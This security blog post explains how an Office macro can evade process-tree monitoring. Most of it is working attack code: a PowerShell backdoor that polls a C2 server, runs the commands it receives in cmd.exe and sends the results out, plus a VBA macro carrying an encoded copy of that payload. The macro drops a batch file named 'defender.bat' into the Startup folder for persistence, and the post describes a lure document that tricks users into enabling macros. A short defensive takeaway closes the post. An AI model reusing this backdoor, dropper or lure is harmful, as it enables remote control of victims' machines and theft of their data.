Pitfalls of Process Monitoring

Many security products monitor process trees very carefully to detect when for instance office applications spawn Powershell, cmd or other suspicious subprocesses. But is that enough?

Still many organisations are unable to deactivate macros in office documents as they are still widely used. Hence they introduce compensating controls to detect malicious macros as soon as they execute. Many security products mainly focus on process trees to detect when macros execute Powershell code or behave strangely in other ways. At first, that looks like a good idea and it actually is. But is it enough. So let’s see what it takes to get around pure process tree monitoring and how to still detect what’s going on.

I’m really bad in writing Powershell code so please bear with me. So my target was to write a simple Powershell backdoor that calls back to an even simpler php based C2 server. The reason I choose php for the C2 is, that you could run the C2 on any compromised shared webspace and don’t need to set up a full server.

So here’s the unencoded Powershell part.

$victimid='1234';
$delay = 4;
$c2 = 'https://yourc2.tld/';
Add-Type -AssemblyName System.Web;
while(1){
    $web_client = new-object system.net.webclient;
    $cmd=$web_client.DownloadString($c2+'test.php?id='+$victimid);
    if($cmd -ne 'wait'){
        $out = cmd.exe /d /c $cmd;
        $out_urlencode=[System.Web.HttpUtility]::UrlEncode($out);
        $url = $c2+'res.php?victimid='+$victimid+'&command='+$cmd+'&result='+$out_urlencode;$x=Invoke-WebRequest -Uri $url -Method GET ;
        
    }
    start-sleep -seconds $delay;
}

So essentially every victim gets a unique id. As soon as the malware is running, it asks the C2 server for new commands every 4 seconds. If the command is anything other than “wait” it executes the command in cmd.exe. The results will then be transferred to the C2 server. Note that I used GET as method and transferred the results in a get parameter. I did to test a network based detection mechanism I’m working on. In a real attack I’d use POST requests as usually the full URI including GET parameters ends up in proxy logs while POST parameters in the body don’t.

Ok that part was easy. Now I needed a crappy backend to control the malware. It’s not beautiful but It get’s the job done.

So at that point it’s all about getting that into a production system that’s set up with all the usual security measures and more. Under the assumption, that you will always be able to get an employee to execute a macro as long as it’s not blocked, I created a fake word document. It looks something like that – you know the drill, right?

Tricking the user into enabling macros

There are two things I want to prevent when my code fires:

  • I don’t want Word to spawn a sub process
  • I don’t want to load System.Management.Automation.dll with any process other than powershell.exe (Some monitor that as well)

Honouring the points above, I can load a WScript.Shell object but I can’t use it’s .Run or .Exec methods as that would spawn a cmd.exe process as child of the Word process. So what I did instead was creating a batch script loading my Powershell backdoor. I just placed that script in the startup folder. That will not give me a shell right away, but as soon as the user logs off and on again I’m in. So this is the macro I ended up using.

Private Sub Document_Open()

action = "powershell.exe -windowStyLe HiDDEn -ec JAB2AGkAYwB0AGkAbQBpAGQAPQAiADEAMgAzADQAIgA7ACAAJABkAGUAbAB" _
& "hAHkAIAA9ACAANAA7ACAAJABjADIAIAA9ACAAIgBoAHQAdABwADoALwAvAG0AZQBkAGkAegBpAG4AaQBuAGYAbwByAG0AYQB0AGkAawAuAGEAd" _
& "AAvAGMAMgAvACIAOwAgAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAZQBiADsAIA" _
& "B3AGgAaQBsAGUAKAAxACkAewAgACQAdwBlAGIAXwBjAGwAaQBlAG4AdAAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAcwB5AHMAdABlAG0ALgBuA" _
& "GUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAIAAkAGMAbwBtAG0AYQBuAGQAPQAkAHcAZQBiAF8AYwBsAGkAZQBuAHQALgBEAG8AdwBuAGwAbwBhAGQAUwB0" _
& "AHIAaQBuAGcAKAAkAGMAMgArACIAdABlAHMAdAAuAHAAaABwAD8AaQBkAD0AIgArACQAdgBpAGMAdABpAG0AaQBkACkAOwAgAGkAZgAoACQAYwBvAG0Ab" _
& "QBhAG4AZAAgAC0AbgBlACAAIgB3AGEAaQB0ACIAKQB7ACAAJABvAHUAdAAgAD0AIABjAG0AZAAuAGUAeABlACAALwBkACAALwBjACAAIgAkAGMAbwBtAG0A" _
& "YQBuAGQAIgA7ACAAJABvAHUAdABfAHUAcgBsAGUAbgBjAG8AZABlAD0AWwBTAHkAcwB0AGUAbQAuAFcAZQBiAC4ASAB0AHQAcABVAHQAaQBsAGkAdAB5AF0AOgA6" _
& "AFUAcgBsAEUAbgBjAG8AZABlACgAJABvAHUAdAApADsAIAAkAHUAcgBsACAAPQAgACQAYwAyACsAIgByAGUAcwAuAHAAaABwAD8AdgBpAGM" _
& "AdABpAG0AaQBkAD0AIgArACQAdgBpAGMAdABpAG0AaQBkACsAIgAmAGMAbwBtAG0AYQBuAGQAPQAiACsAJABjAG8AbQBtAGEAbgBkACsAIgAmAHIAZQBzAHUAbAB0AD0AI" _
& "gArACQAbwB1AHQAXwB1AHIAbABlAG4AYwBvAGQAZQA7ACAAJAB4AD0ASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdQByAGwAIAAtAE0" _
& "AZQB0AGgAbwBkACAARwBFAFQAIAA7ACAAfQAgAHMAdABhAHIAdAAtAHMAbABlAGUAcAAgAC0AcwBlAGMAbwBuAGQAcwAgACQAZABlAGwAYQB5ADsAIAB9AA=="

Set objShell = CreateObject("WScript.Shell")
startupFolder = objShell.SpecialFolders("Startup")
Set objFSO = CreateObject("Scripting.FileSystemObject")
outFile = startupFolder + "\defender.bat"
Set objFile = objFSO.CreateTextFile(outFile, True)
objFile.Write action
objFile.Close

End Sub

As soon as the victim allows execution of macros in the Word document (and you know that they will), the batch script appears in the startup folder.

Malicious batch script in the startup directory

After the next logon I have access to the computer with user privileges.

Key Takeaways

  • Monitoring Office application process trees is not enough to detect macro attacks
  • Monitoring loaded modules doesn’t help either in that specific case
  • If you monitor file handles for Office applications you will be able to detect access to files in the startup directory.
  • I’ll never really like powershell
  • I don’t like php very much either

I’ll post some IOSs to detect this and similar attacks soon. Furthermore, I’ll describe some more ways to use macros in an attack that are really hard to detect.

Copyright Cyberfox 2019
Tech Nerd theme designed by Siteturner